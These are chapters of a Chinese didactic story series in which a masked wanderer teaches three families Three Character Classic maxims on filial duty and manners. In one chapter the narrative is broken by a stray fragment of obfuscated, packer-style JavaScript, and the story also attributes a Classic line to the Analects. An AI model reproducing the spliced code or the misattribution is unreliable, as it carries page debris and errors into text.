晨雾中，那琅琅书声，像是从很远很远的地方传来，又像是就在耳边，一声一声，敲在心上。 本章诫世 一、 琢玉二训 - 玉不琢，不成器 - 人不学，不知义 - 破解法：为人师长，自问“可曾琢玉？用何法琢？琢到何处？”；为人子弟，自问“可愿成器？如何成器？成何器？” 二、 三家三璞 - 陈石是块顽石——厌学贪玩，父纵不教 - 石娃是块顽铁——野性难驯，师严不化 - 柳叶是块璞玉——蒙尘不显，母弱不琢 - 惕世：多少璞玉被弃于市井？多少顽石自甘沉沦？多少美器毁于不琢？ 三、 琢玉大道 - 深层隐喻：世人皆玉，天生材质或有不同，然不琢皆不成器。琢玉之道，在因材施教，在锲而不舍，在百年树人 - 终极指向：治国平天下，在育人。育人如琢玉，需慧眼识材，需苦心琢磨，需待以时日 琢玉偈： 东郭坊里三块石，顽石顽铁与璞玉。 陈石厌学父纵容，人不学不知义兮。 石娃野性师难驯，玉不琢不成器兮。 柳叶蒙尘母不琢，玉不琢不成器兮。 三家迷途不自知，白衣点破琢玉理。 十年琢磨方成器，人不学不知义兮。 后世叹： 玉不琢，不成器，人不学，不知义。 顽石厌学父纵容，顽铁野性师难驯。 璞玉蒙尘母不琢，三家迷途各倒颠。 白衣现身井台边，琢玉十年成美器。 正是： 市井巷陌藏美玉，不琢不磨总可惜。 陈石厌学成顽石，石娃野性作顽铁。 柳叶蒙尘为璞玉，三家各有不成器。 白衣点破琢玉理，十年琢磨成美器。 玉不琢兮不成器，人不学兮不知义。 87.少礼谳 楔子·三户无礼 南城根有条燕子巷，巷子不深，住着三户平常人家。 巷口是卖炊饼的孙家。孙大膀子每日寅时起身，和面、揉剂、贴炉，辰时开张，酉时收摊，三十年风雨无阻。他有个独子孙小饼，今年十三，生得虎头虎脑，却是个“小霸王”。巷里孩子见他，都绕道走——为甚？这孙小饼自小被孙大膀子宠得没边，要星星不给月亮，养成个不知礼的性子。前日李寡妇家的二小子多吃了他家一个炊饼，被他按在地上打得鼻青脸肿。孙大膀子知道了，只啐一口：“小兔崽子，手倒狠！”非但没责罚，还多给了两个饼，说是“打累了补补”。 巷中是裁缝周家。周裁缝早年读过几年书，后来家道中落，学了手艺。人倒是勤快，可就是性子太闷，三棍子打不出个屁来。他老婆周婶子是个碎嘴，整日东家长西家短，偏偏对自家儿子周小剪极是苛责。小剪今年十二，性子随爹，闷葫芦一个，在巷里是个人人都可欺负的软柿子。昨日被隔壁油铺的伙计泼了一身油，回来挨了娘一顿骂：“窝囊废！人家泼你，你不会泼回去？”小剪低着头，一声不吭。 巷尾是杀猪的郑家。郑屠户一脸横肉，声如洪钟，整条巷子都怕他三分。他儿子郑小刀，今年十四，生得和爹一个模子，性子却是个“两面人”——在爹面前乖得像猫，出了门就变成狼。前几日偷了王铁匠家的铁条去卖，被当场抓住。郑屠户知道了，拎着杀猪刀追了半条街，最后还是郑小刀他娘哭着拦下：“孩子还小，懂什么！”郑屠户把刀一扔：“小？老子十四岁都杀猪了！” 这是天启三年的春分，燕子巷口的柳树才抽出嫩芽。三户人家的灶烟混在一处，和着炊饼香、猪油味、浆糊气，搅成一团黏糊糊的市井气息。 一、 炊饼铺的小霸王 孙大膀子这日生意格外好，辰时未到，两炉炊饼已卖光了。他正哼着小调揉第三炉面，摊前来了个人。 来人戴着一顶极寻常的竹笠，笠檐压得很低。身上是件半旧的月白棉布袍，洗得发白，袖口肘部都打着同色的补丁，针脚细密。腰间用草绳系着一柄木剑，剑身无饰，只被手摩挲得温润。面上蒙着方灰布，布是粗纱，能隐约看见鼻梁的轮廓。 “掌柜的，来两个炊饼，要刚出炉的。”声音平平的，听不出年纪。 孙大膀子应了声，用油纸包了两个递过去。那人却不接，只问：“刚才那孩子，是掌柜的公子？” 孙大膀子顺他目光看去——巷子那头，孙小饼正骑在一个半大孩子身上，抡着拳头。周围几个孩子远远看着，不敢上前。 “嗨，小孩子闹着玩……”孙大膀子干笑。 “闹着玩？”那人语气还是平的，“我数到十，那孩子鼻血就流下来了。这叫闹着玩？” 孙大膀子脸上挂不住，喊了一嗓子：“小饼！回来！” 孙小饼回头看一眼，又补了一拳，才拍拍手站起来，大摇大摆走过来。那挨打的孩子哭着跑了。 “爹，啥事？”孙小饼满不在乎。 孙大膀子还没开口，那人先说了：“小兄弟，你今年十几？” “十三！怎的？” “十三，不小了。”那人从怀里摸出三个铜板，排在案板上，“为人子，方少时。亲师友，习礼仪——这十二个字，可会写？” 孙小饼一愣，嗤笑：“写那劳什子作甚？能当炊饼吃？” “不能当炊饼吃。”那人慢慢地说，“但能让你知道，为什么不能骑在人身上打拳头。” 孙大膀子脸上红一阵白一阵，搓着手：“这位客官，孩子还小，不懂事……” “小才要教。”那人转过脸来——虽然蒙着布，可孙大膀子觉得那目光像针，扎得人难受，“等大了，骑在人身上抢刀子，你再教，就晚了。” 这时孙小饼伸手去拿案板上的铜板，那人手一翻，扣住他手腕。孙小饼挣了两下，竟纹丝不动。 “你、你放手！” “我教你个礼。”那人声音很轻，“想要别人的东西，得说‘请’。拿了，得说‘谢’。这是三岁孩子都该懂的。你十三了，不懂，我教你。” 孙小饼脸涨得通红，想骂，手腕却像被铁钳钳着，疼得冒汗。 “说，请。”那人手上加了一分力。 “请、请……”孙小饼从牙缝里挤出来。 那人松开手，把铜板推过去：“说，谢。” “……谢。” “好。”那人点点头，转向孙大膀子，“掌柜的，为人父，方养子。子不教，父之过——这十二个字，可明白？” 孙大膀子张了张嘴，没说出话。 “今日子骑人打，你不管；来日刀捅人，你管不管？”那人顿了顿，“等他戴了枷锁游街，你哭着说‘孩子还小’，可还有人听？” 这话像一盆冷水，浇得孙大膀子浑身发凉。他想起前街刘家的独子，也是从小霸道，去年为争一个妓女，一刀捅死了人，秋后问斩。刘老婆子哭瞎了眼，现在还在城隍庙要饭。 “我……”孙大膀子喉咙发干。 那人从袖中取出一卷纸，展开，是《三字经》里那几句： 为人子，方少时。亲师友，习礼仪。 “贴在灶头，日日看。看明白了，教儿子。教不会，我再来。”说完，拿起炊饼，转身走了。 孙大膀子捏着那卷纸，手有些抖。孙小饼揉着手腕，嘟囔：“什么人啊，多管闲事……” “闭嘴！”孙大膀子忽然吼了一嗓子。 孙小饼吓一跳——他爹从没这么吼过他。 那天晚上，孙家的炊饼卖得心不在焉。孙大膀子把那十二个字贴在灶头，一边揉面，一边看。面揉好了，字也看进心里去了。 “为人子，方少时。亲师友，习礼仪……”他喃喃念着，忽然抬手给了自己一巴掌。 孙小饼在里屋听见响动，探出头：“爹，咋了？” 孙大膀子红着眼睛：“儿子，过来。爹……爹教你认字。” 二、 裁缝铺的闷葫芦 周裁缝这日接了个急活，西街张员外家要做春衫，催得紧。他正埋头踩缝纫机，铺子门吱呀一声开了。 还是那个戴竹笠、蒙灰布、悬木剑的人。 “掌柜的，补个袖子。”那人递过一件袍子，左边袖肘磨破了。 周裁缝接过来，一看那针脚，愣了——这补丁打得，比他这个二十年的老裁缝还好。针脚细密均匀，走线平直，破处还绣了圈云纹，不仔细看都看不出是补的。 “客官这手艺……”周裁缝抬头。 “手艺是小事。”那人自己拉了条凳子坐下，“掌柜的，刚才在门口哭的那孩子，是你家的？” 周裁缝手一颤，针扎了指头。他瞥了眼里屋——周小剪正蹲在墙角，肩膀一耸一耸的。 “是、是犬子……” “为什么哭？” 周裁缝叹口气，把油铺伙计泼油、周婶子骂儿子的事说了。说完又补一句：“孩子娘就那脾气，其实心是好的……” “心好，就可以骂得孩子抬不起头？”那人站起来，走到里屋门口，蹲下身，和周小剪平视，“小兄弟，挨欺负了？” 周小剪抬起泪眼，看见一方灰布，愣了愣，点头。 “挨欺负了，怎么办？” 周小剪摇头。 “我教你。”那人声音很温和，“第一，告诉爹娘。第二，告诉先生。第三，告诉里正。这是礼——不是软弱，是讲理。” 周小剪小声说：“娘说，告状是窝囊废……” “那你娘有没有说，什么是窝囊废？” 周小剪摇头。 “窝囊废是挨了欺负不敢吭声，回家拿更弱的人撒气。”那人顿了顿，“你看巷口卖炊饼的孙小饼，他欺负人，那是浑。你挨欺负不吭声，那是懦。浑和懦，都不是礼。礼是什么？礼是堂堂正正，不欺负人，也不让人欺负。” 周裁缝在门外听着，手里的针再也扎不下去了。 “可、可我不知道怎么说……”周小剪声音更小了。 “我教你。”那人从怀里又摸出一卷纸，还是那十二个字： 为人子，方少时。亲师友，习礼仪。 “认得字么？” 周小剪点头——他爹教过。 “念一遍。” “为、为人子，方少时。亲师友，习礼仪。” “对。”那人指着“亲师友”三个字，“师，是教你本事的人。友，是和你做伴的人。亲师友，就是敬重师长，善待朋友。你被欺负了，可以告诉师长，可以告诉朋友。这是礼数，不是告状。” 他又指着“习礼仪”：“礼，是规矩。仪，是样子。习礼仪，就是学规矩，学做人该有的样子。不是学窝囊，是学堂堂正正。” 周小剪看着那十二个字，眼睛慢慢亮了。 这时周婶子买菜回来，看见生人，眉头一皱：“这位是……” “过路的。”那人站起来，对周裁缝说，“袖子不必补了。掌柜的，你儿子是块好料，别让人骂废了。为人父，方教子。子不立，父之惰。” 又对周婶子点点头：“大嫂，孩子是树苗，骂是寒风，吹多了，苗就蔫了。要浇水，要施肥，要让他见太阳。” 说完，推门出去了。 周婶子愣在当场。周裁缝捏着那件袍子，看着儿子慢慢站起来，擦了眼泪，忽然说：“爹，我想学裁缝。” “学、学裁缝？” “嗯。学好了手艺，将来开铺子，不让人欺负。”周小剪说，声音不大，但很清晰。 周裁缝鼻子一酸，重重点头：“好，爹教你。” 那天夜里，周家缝纫机响到很晚。周婶子破天荒没唠叨，还炒了盘鸡蛋。十二个字贴在裁缝铺的墙上，油灯下，墨迹亮晶晶的。 三、 肉铺的两面人 郑屠户这日杀了头肥猪，正在案上分肉。那把杀猪刀磨得锃亮，一刀下去，骨肉分离。郑小刀在旁边打下手，递个钩子，接个盆，手脚麻利得很。 “爹，这块后腿肉肥，留着自己吃吧？” “留个屁！王掌柜订了，一会儿来取。”郑屠户抹了把汗，“你小子，昨天是不是又偷懒了？让你磨刀，磨的什么玩意儿！” 郑小刀缩缩脖子，没敢吭声。 这时肉铺前来了一人，竹笠，灰布蒙面，粗布袍，木剑。 “掌柜的，来二斤五花，要三层。” 郑屠户应了声，手起刀落，一块肥瘦相间的五花肉，上秤一称，二斤整，不多不少。 “好刀工。”那人赞了一句。 郑屠户脸上露出点笑模样：“客官识货。” 那人付了钱，却不走，看着郑小刀：“小兄弟，多大了？” “十四。”郑小刀有点警惕。 “十四，不小了。”那人顿了顿，“我十四岁时，已经走南闯北了。” 郑小刀眼睛一亮：“走南闯北？你都去过哪儿？” “东到海，西到漠，南到瘴，北到雪。”那人说，“见过山贼杀人越货，也见过镖师仗义疏财；见过贪官欺压百姓，也见过清官为民请命。见得多了，就知道一件事——” 他看向郑屠户：“掌柜的，你这把刀，是杀猪的。可有些人手里的刀，是杀人的。” 郑屠户手上动作停了。 “杀猪的刀，见血是为了生计。杀人的刀，见血是为了私欲。”那人声音很平，但每个字都像砸在肉案上，“可刀都是刀，用刀的人，得分清什么时候该见血，什么时候该入鞘。” 郑小刀听愣了。 郑屠户盯着那人：“客官到底想说什么？” “说你的刀，和你的儿子。”那人指着郑小刀，“他在你面前，是绵羊。出了这门，是豺狼。前日偷铁条，昨日欺邻家幼童，今日在学堂打同窗——这些，掌柜的不知道吧？” 郑屠户脸色变了，看向儿子：“他说的是真的？” 郑小刀脸煞白，往后退。 “不必问他，问我。”那人从怀里又摸出一卷纸，展开，还是那十二个字： 为人子，方少时。亲师友，习礼仪。 “为人子，方少时——正是学规矩的时候。亲师友，习礼仪——师长要敬，朋友要亲，规矩要学。可掌柜的你教了他什么？教他杀猪，教他耍横，教他在你面前装乖，出了门就作恶。” 郑屠户额头青筋暴起，一把抓起杀猪刀：“你！” 刀尖离那人咽喉只有三寸。那人动都没动，只看着郑屠户的眼睛：“这把刀，你用来杀猪，是天经地义。用来吓唬人，是恃强凌弱。用来教儿子——是教他，刀可以解决一切。” 他缓缓抬起手，用两根手指捏住刀尖，轻轻移开。 “我十四岁那年，师父也给我一把刀。他说，刀是凶器，也是器具。用来护人，是侠；用来伤人，是贼。你选哪个？” 郑屠户的手在抖。 “你儿子现在，正在贼的路上走。”那人转向郑小刀，“小兄弟，你爹这把刀，杀了三十年猪，没伤过一个人。你呢？你的‘刀’还没沾人血，但已经伤了人心。等真沾了血，就回不了头了。” 郑小刀腿一软，坐倒在地。 那人把纸卷放在肉案上：“贴墙上，日日看。看明白了，教儿子。教不会——”他顿了顿，“等衙门来教，就晚了。” 这一次，他没等回答，转身走了。 郑屠户盯着那十二个字，看了很久。忽然把杀猪刀往案上一剁，刀身嗡嗡作响。 “跪下。”他说。 郑小刀扑通跪下。 “从今天起，每天早上念三遍这十二个字。念完了，跟我学杀猪。学完了，去学堂念书。”郑屠户声音沙哑，“你要敢再偷一次，再欺一次人，老子……我亲手打折你的腿。” 郑小刀哭了，是真的哭，不是装的。 那天，郑家肉铺早早收了摊。十二个字贴在肉案后的墙上，血糊糊的指印按在旁边，像一个个誓言。 四、 燕子巷的早晨 半个月后的清晨，燕子巷的井台边，三家人碰上了。 孙大膀子领着孙小饼来打水，周裁缝带着周小剪来洗衣，郑屠户押着郑小刀来冲肉案。三个孩子你看看我，我看看你，都有些尴尬。 “小饼，来。”孙大膀子推了儿子一把，“给你周叔、郑叔问好。” 孙小饼憋了半天，挤出三个字：“周叔好，郑叔好。” 周裁缝忙点头：“哎，好，好。”捅了捅儿子。 周小剪小声说：“孙伯伯好，郑伯伯好。” 郑屠户嗓门大：“都挺好！”一拍儿子后背，“愣着干啥？问好啊！” 郑小刀红着脸：“孙叔好，周叔好。” 三个大人互相看看，忽然都笑了。笑着笑着，眼眶都有点湿。 孙大膀子说：“那位白衣客官……也不知是什么人。” 周裁缝说：“是贵人。” 郑屠户说：“是恩人。” 三人打了水，各自回家。那天早晨，燕子巷格外安静，只听见孙家揉面的噗噗声，周家缝纫机的嗒嗒声，郑家冲肉案的哗哗声。 又过了半个月，巷子里出了件新鲜事——三个孩子一块儿上学堂了。 孙小饼走在前头，但不再横着走。周小剪走在中间，但不再低着头。郑小刀走在最后，但不再东张西望想坏主意。 学堂的秦先生摸着胡子点头：“孺子可教，孺子可教。” 有天放学，三个孩子一起回来。路过李寡妇家，孙小饼从书包里掏出两个炊饼，放在她家窗台上——那是他省下的午饭。周小剪把李寡妇家晒的被子重新拍了拍，拍得松松软软。郑小刀挑了两桶水，把她家水缸灌满。 李寡妇在屋里看着，眼泪吧嗒吧嗒往下掉。 又过了些日子，那个白衣人又来了燕子巷。这次他没进任何一家，只坐在巷口的柳树下，看着三个孩子在井台边一起温书。 孙小饼在教周小剪算数，郑小刀在背《论语》。背到“为人子，方少时。亲师友，习礼仪”，三个声音合在一处，脆生生的。 白衣人听了会儿，起身要走。 “先生！”郑小刀眼尖，看见了。 三个孩子跑过来，规规矩矩站成一排，拱手行礼。 白衣人点点头：“礼，学得不错。” 孙小饼大着胆子问：“先生，您到底是谁？” “过路的。” “那……那您还来么？” 白衣人想了想，从怀里掏出三枚铜钱，一人给了一枚：“好好学。等你们长大了，成了真正的人，我再来。” “什么样才是真正的人？”周小剪问。 “知礼，守义，有担当。”白衣人说，“记住，礼不是磕头作揖，是心里有别人。义不是打打杀杀，是手里有分寸。担当不是嘴上说，是肩上扛。” 他顿了顿，看着三个孩子：“你们现在，是学着做人。等真做成了，这铜钱，还我。” 说完，转身走了。白衣在柳荫里一闪，不见了。 三个孩子攥着铜钱，你看我，我看你。 “我一定会还的。”孙小饼说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他说等我们成了真正的人，就来收铜钱。”孙小饼说，“我们……算成了么？” 没人回答。窗外柳絮飘进来，落在铜钱上。 忽然，门被推开了。 还是那顶竹笠，那方灰布，那身洗白的粗布袍，那柄木剑。只是袍子更旧了，补丁更多了。 三人霍地站起来。 白衣人走到桌边，看了看铜钱，点点头：“长大了。” 孙小饼深深一揖：“先生，当年教诲，没齿难忘。” 周小剪、郑小刀也跟着行礼。 白衣人摆摆手，坐下，自己倒了杯酒：“说说，这十年，都学了什么。” 孙小饼先说：“我学了记账，学了待人，学了——心里有别人。前年发大水，我开了三天粥棚，没收一个钱。” 周小剪说：“我学了手艺，学了耐心，学了——手里有分寸。去年王婆家穷，我给她做了寿衣，没收工钱，还贴了布料。” 郑小刀说：“我学了刀工，学了担当，学了——肩上扛得起。上个月有伙流寇想抢肉铺，我拎着刀站在门口，他们没敢进来。” 白衣人静静听着，等三人说完，才道：“知礼，守义，有担当——你们做到了。” 他拿起一枚铜钱，摩挲着：“这铜钱，我收了。” 孙小饼忙说：“先生，等等！”他跑进里屋，捧出个木匣，打开，里面整整齐齐排着三十枚铜钱，“这是巷子里三十个孩子攒的。他们……也想还您。” 周小剪也捧出个木匣，二十枚。 郑小刀也捧出个木匣，二十五枚。 白衣人看着那三匣铜钱，看了很久。烛光在他蒙着灰布的脸上跳动，看不清表情。 “好。”他说，声音有些哑，“我都收下。” 他把所有铜钱收进一个布袋，系在腰间，起身。 “先生！”三人齐声。 白衣人在门口回头。 “您……您到底是谁？”孙小饼问。 “我？”他想了想，说，“我是个收铜钱的。” “那……我们还能再见您么？” “等你们的孩子长大了，教他们知礼、守义、有担当。等他们做到了，我再来收铜钱。” 门开了，春夜的凉风灌进来。柳絮在风里打着旋，像一场温柔的雪。 三人追出去，巷子里空荡荡的，只有井台边的柳树下，似乎有个白衣的影子，一闪，不见了。 他们走回屋，看着空了的桌子。忽然，孙小饼说：“你们说，先生收那么多铜钱，做什么用？” 没人知道。 很多年后，燕子巷变成了燕子街，三家的铺子都成了老字号。巷子口立了块碑，不是石碑，是木碑，上面刻着十二个字： 为人子，方少时。亲师友，习礼仪。 落款是“燕子巷三户人家敬立”。 常有外乡人问：“这碑谁立的？” 巷里的老人会说：“是三个孩子立的。他们小时候啊，不懂事，后来懂了，就立了这碑。” “为的啥？” “为的让后来的孩子都懂——为人子，方少时。亲师友，习礼仪。” 春去秋来，木碑被风雨磨得光滑，但那十二个字，深深镌着，像是刻进了木头里，也刻进了时光里。 尾声燕子谣 又过了许多年，燕子巷的孩子都会唱一首童谣： 燕子巷，有三家， 孙家周家郑屠家。 为人子，方少时， 亲师友，习礼仪。 孙小饼，学记账， 周小剪，学裁衣。 郑小刀，学杀猪， 三人皆从礼仪起。 若问先生何处去， 柳树底下收铜钱。 有个游学的书生路过，听了这童谣，去问孙家炊饼店的老掌柜——当年的孙小饼，如今已鬓发斑白。 “老丈，这童谣里的先生，究竟是何方高人？” 孙小饼正在揉面，闻言停下手，望着窗外那棵老柳树。 “是个白衣人。”他说。 “白衣人？是儒生？是侠客？还是神仙？” 孙小饼笑了：“是教人做人的人。” “那铜钱……” “铜钱啊。”孙小饼从怀里摸出一枚铜钱，摩挲着，“是债，也是诺。欠了礼，要还。许了诺，要守。” 书生似懂非懂。临走时，他买了一包炊饼，孙小饼多给了他一个。 “这个不收钱。”孙小饼说，“给路上吃。” 书生道了谢，走出巷子。回头时，看见孙小饼还站在店门口，望着那棵柳树。春风吹过，柳絮满天，像一场迟迟不化的雪。 他忽然想起童谣的最后两句： 若问先生何处去， 柳树底下收铜钱。 可柳树下空荡荡的，只有一口老井，井台上青苔斑驳。 也许那位先生，正在某个地方，等着收下一批铜钱吧。书生想。 他咬了口炊饼，很香，有麦子的甜味，也有人间的暖意。 本章诫世 一、 少礼二训 - 为人子，方少时 - 亲师友，习礼仪 - 破解法：为人父母，自问“可教子以礼？可正子之行？”；为人师长，自问“可授徒以礼？可端徒之品？” 二、 三家三失 - 孙家失于“纵”——纵子行凶，不教以礼 - 周家失于“懦”——教子畏缩，不立其骨 - 郑家失于“暴”——教子以暴，不导以和 - 惕世：多少父母纵子成霸？多少父母挫子成懦？多少父母教子以暴？皆失礼也 三、 习礼大道 - 深层隐喻：礼如春雨，润物无声。教子以礼，如植苗培根，根正苗直，自可参天 - 终极指向：治国平天下，在正人心。正人心，在明礼仪。人无礼不立，家无礼不和，巷无礼不宁 少礼偈： 燕子巷里三人家，纵子懦子暴子差。 孙家纵子成小霸，不教礼仪任行凶。 周家挫子成懦夫，不立其骨任人欺。 郑家教子以暴虐，不导以和任横蛮。 三家迷途不自知，白衣点破礼仪篇。 十年教化方成器，三人皆从礼仪起。 后世叹： 为人子，方少时，亲师友，习礼仪。 孙家纵子不教礼，周家挫子不立骨。 郑家教子唯以暴，三家迷途各倒颠。 白衣现身燕子巷，点破礼仪十年功。 正是： 市井巷陌三人家，教子无方各有差。 孙纵周懦郑施暴，皆因少时不习礼。 白衣点破礼仪道，十年教化成效奇。 为人子兮方少时，亲师友兮习礼仪。 88.温席谳 楔子·三家不温 西水门外有条青石巷，巷窄而曲，住的多是些穷苦人家。腊月里，北风一吹，家家户户门窗紧闭，唯闻檐下冰棱子叮当响。 巷口第三家是糊灯笼的王家。老王头今年六十有二，祖传的灯笼手艺，可这年景，谁有闲钱买灯笼？儿子王大有是个挑夫，每日鸡叫头遍就得出门，到码头扛活，夜半方归。大有一去，家里就剩老王头和五岁的孙子小栓。小栓这孩子，生得虎头虎脑，却是个“小冰坨”——老王头夜里咳得背过气去，他在旁边睡得呼呼的。隔壁张婶看不过，端了碗姜汤来，说：“小栓啊，给你爷爷焐焐脚。”小栓一扭头：“冷！” 巷中间是卖炭的刘家。刘老栓比老王头还大两岁，咳了七八年，入冬就下不来炕。儿子刘二狗是个赌棍，倒是不赌钱——他赌骰子，赌牌九，赌蛐蛐，赌一切能赌的。赢了钱，买壶酒，切半斤猪头肉，自己吃了，从不管他爹。输了，就回来翻箱倒柜，把他爹攒的买药钱摸走。刘老栓躺在炕上，咳一声，骂一句：“孽障！”可有什么用？二狗耳朵里塞了驴毛。 巷尾是补鞋的赵家。老赵婆子是个瘫子，瘫了三年，全靠闺女赵巧儿伺候。巧儿今年十九，生得水灵，可就是太“水灵”了——整日描眉画眼，想着攀高枝。前街绸缎庄的李掌柜死了老婆，想续弦，托人来问。巧儿心动了，回家对她娘说：“娘，李掌柜说了，嫁过去有丫头伺候，您也能过好日子。”老赵婆子呸了一口：“丫头伺候？是嫌我拖累你吧！”巧儿眼圈一红，摔门出去了。这一去，三天没着家。 这是天佑十一年的腊月初八，俗话说“腊七腊八，冻掉下巴”。青石巷的青石上结了一层冰壳子，踩上去嘎吱嘎吱响。三家的烟囱都冒着烟，可那烟是青的，薄的，一看就是舍不得烧柴。 一、 灯笼王家的“冰坨子” 老王头这日又咳了一宿，天亮时才迷糊过去。小栓醒了，自己爬起来，从锅里摸出半个冷窝头，蹲在门槛上啃。正啃着，面前站了个人。 来人戴着一顶破毡帽，帽檐压得很低，遮了眉眼。身上是件洗得发灰的棉袍，袖口肘部都磨得起了毛，打着杂色的补丁。腰里用草绳系着，绳上挂一柄木剑，剑身被手摩挲得油亮。脸上蒙着块粗麻布，布是灰扑扑的，看不出本来的颜色。 “小兄弟，讨碗水喝。”声音哑哑的，像是被风呛的。 小栓瞥他一眼，没吱声，继续啃窝头。 那人也不恼，在门槛另一头坐下，从怀里掏出个冻得硬邦邦的馍，一点点掰着吃。吃了两口，忽然咳起来，咳得撕心裂肺，比老王头还厉害。 小栓停了啃窝头，盯着他看。 那人咳完了，喘着气说：“老了，不中用了……要是有人给焐焐背，兴许能好些。” 小栓还是不说话。 屋里老王头又咳醒了，哑着嗓子喊：“小栓……水……” 小栓像没听见。 那人站起身，进屋去。灶台上有个破瓦罐，他倒了半碗水，端到炕边，扶起老王头，一点点喂。老王头迷迷糊糊喝了，又躺下，咳声渐渐小了。 “你爷爷病得不轻。”那人走回门槛，看着小栓，“你夜里给他焐过脚么？” 小栓低头：“……冷。” “冷？”那人笑了，笑声也是哑的，“香九龄，能温席。你几岁了？” “……五岁。” “五岁，不小了。”那人顿了顿，“我认识个孩子，也五岁。他娘病了，他夜里把他娘的脚抱在怀里，用自己的肚子焐。问他为什么，他说，娘脚冷，我肚子热。” 小栓瞪大眼睛。 “还有个孩子，六岁。他爹伤了腿，他每天烧了热水，给爹烫脚。烫完了，用布包着，抱在怀里暖着，等爹睡着了才松开。” 小栓不说话了。 “香九龄，能温席。孝于亲，所当执。”那人慢慢念出这两句，“意思是，有个叫黄香的孩子，九岁就知道冬天给爹娘暖被窝。孝顺爹娘，是天经地义的事，就该这么做。” 他看向小栓：“你爷爷咳了一宿，你听见了么？” 小栓点点头。 “听见了，为什么不管？” “……我睡着了。” “是真睡着了，还是装没听见？” 小栓脸红了，手里的窝头掉在地上。 那人捡起窝头，拍了拍灰，递还给他：“你爹每天挑担子，肩膀磨出血，为了谁？你爷爷咳出血，还强撑着糊灯笼，为了谁？” 小栓的眼泪吧嗒吧嗒往下掉。 “冷，是吧？”那人从怀里掏出个铜手炉，塞进小栓手里，“这个给你。夜里装了炭，放在爷爷脚头。炭，我一会儿给你。” 小栓攥着手炉，铜的，还带着那人的体温。 “我……我不会生火。” “我教你。”那人站起身，“去，给你爷爷磕个头，说你知道错了。” 小栓站起来，走到炕边，看着爷爷蜡黄的脸，忽然“哇”一声哭了，跪下来“咚咚咚”磕了三个响头：“爷爷，我错了！我以后夜里给您焐脚，我给您倒水，我……” 老王头醒了，老泪纵横，摸着孙子的头：“好孩子，好孩子……” 那人站在门口，看着。等小栓哭完了，才说：“走，教你生火。” 那天，王家的烟囱冒出了浓浓的、白生生的烟。小栓学会了生火，学会了装手炉，学会了烧热水。夜里，他抱着爷爷的脚，脚是冰的，他的手是热的。爷爷摸着他的头，说：“小栓长大了。” 小栓说：“爷爷，我以后天天给您焐脚。” 老王头笑了，笑着笑着，又咳起来。小栓赶紧爬起来，端水，捶背。月光从破窗棂照进来，照着一老一小，影子贴在墙上，暖暖的。 二、 卖炭刘家的“白眼狼” 刘二狗这日手气好，赢了三百文。他拎着壶酒，哼着小曲往回走。刚到巷口，被人拦住了。 还是那顶破毡帽，那身灰棉袍，那块麻布蒙着脸。 “兄弟，讨口酒喝。”那人说。 刘二狗心情好，把酒壶递过去。那人接过，仰脖灌了一大口，辣得直咧嘴。 “好酒！”他抹抹嘴，“兄弟这是赢了钱？” “嘿嘿，手气壮！”刘二狗得意。 “赢了钱，给爹买点啥？” 刘二狗脸一沉：“你谁啊？管得着么？” “我是谁不重要。”那人指了指刘家的破门，“重要的是，你爹躺在炕上，咳了七八年，你这当儿子的，给他买过一回药么？” 刘二狗恼了：“关你屁事！那是老不死的……” “啪！” 一记耳光，结结实实扇在刘二狗脸上。不重，但脆，脆得整条巷子都听见了。 刘二狗愣了，酒壶掉在地上，碎了。他瞪着眼，想还手，可看着那人蒙着布的脸，不知怎的，心里有点发毛。 “这一巴掌，是替你爹打的。”那人声音很冷，“他不舍得打你，我打。” 刘二狗捂着脸，说不出话。 “香九龄，能温席。孝于亲，所当执。”那人一字一句，“你今年多大？” “……三十。” “三十了，爹病了八年，你管过一天么？赢了钱，自己喝酒；输了钱，偷爹的药钱。你爹咳出血的时候，你在赌；你爹冻得哆嗦的时候，你在喝。你是人么？” 刘二狗脸涨得通红，想骂，喉咙里像塞了棉花。 “你不孝，天在看。”那人指着天，“腊月天，你爹的炕是冷的，你的心是冷的。等你老了，病了，躺在炕上，你儿子也这样对你，你什么滋味？” 刘二狗浑身一颤。 那人从怀里掏出个布包，打开，是几块碎银子，约莫二三两。 “这是我全部家当。”他说，“给你。去给你爹抓药，买炭，把炕烧热。剩下的，买点肉，熬点粥，喂你爹吃。” 刘二狗不敢接。 “拿着！”那人把银子塞进他手里，“今夜，你去你爹炕上睡。你爹睡里头，你睡外头，给他焐脚。他咳，你给他捶背；他要水，你给他倒。做得到，明日此时，我再来。做不到——” 他顿了顿，声音像冰：“我把你另一半边脸也打肿。” 说完，转身走了。 刘二狗捏着那包银子，站在风里，站了很久。酒壶的碎片在脚边，酒洒了一地，渗进青石缝里，像眼泪。 他推开门，屋里冷得像冰窖。他爹缩在炕角，盖着床破被，咳得浑身发抖。 “爹……”刘二狗喊了一声，声音是哑的。 刘老栓没应，只是咳。 刘二狗把银子放在炕沿，转身出去。半个时辰后，他回来了，背着一筐炭，手里拎着药包，还有半斤肉。 他生火，烧炕，熬药。炕热了，屋里有了暖意。他扶起爹，一勺一勺喂药。爹不喝，他就跪下了：“爹，我错了，我错了……” 刘老栓看着他，浑浊的老眼里滚出两行泪。 那天夜里，刘二狗真的睡在爹的炕上。爹的脚是冰的，他抱在怀里，焐着。爹咳，他起来捶背；爹要水，他起来倒。一夜没合眼。 天快亮时，爹睡着了，呼吸均匀。刘二狗看着爹花白的头发，看着爹枯瘦的手，忽然想起小时候，爹也是这样抱着他，他发烧，爹一夜没睡。 他哭了，哭得像个孩子。 三、 补鞋赵家的“攀高枝” 赵巧儿这日回来了，穿了一身新衣裳，粉缎子小袄，葱绿裙子，头上插了根银簪子。她是坐着李掌柜的马车回来的，马车停在巷口，她自己走回来，一步三摇。 老赵婆子躺在炕上，听见门响，没睁眼。 “娘，我回来了。”巧儿声音脆生生的。 老赵婆子还是没睁眼。 巧儿把一包点心放在炕头：“李掌柜给的，您尝尝。” “拿走。”老赵婆子开口，声音是哑的。 “娘……” “我说，拿走！”老赵婆子睁开眼，眼里全是血丝，“我闺女死了，我没闺女了。这点心，喂狗吧。” 巧儿眼圈一红：“您说什么呢！我是为咱们好！李掌柜说了，嫁过去，您搬过去住，有丫头伺候……” “伺候？”老赵婆子笑了，笑出眼泪，“我是瘫子，是累赘。你攀了高枝，甩了我这累赘，多好！” “娘！”巧儿跺脚。 “别叫我娘！”老赵婆子别过脸去，“你走吧。从今往后，我没你这闺女。” 巧儿哭了，转身就跑。跑到门口，撞在一个人身上。 还是那顶破毡帽，那身灰棉袍，那块麻布。 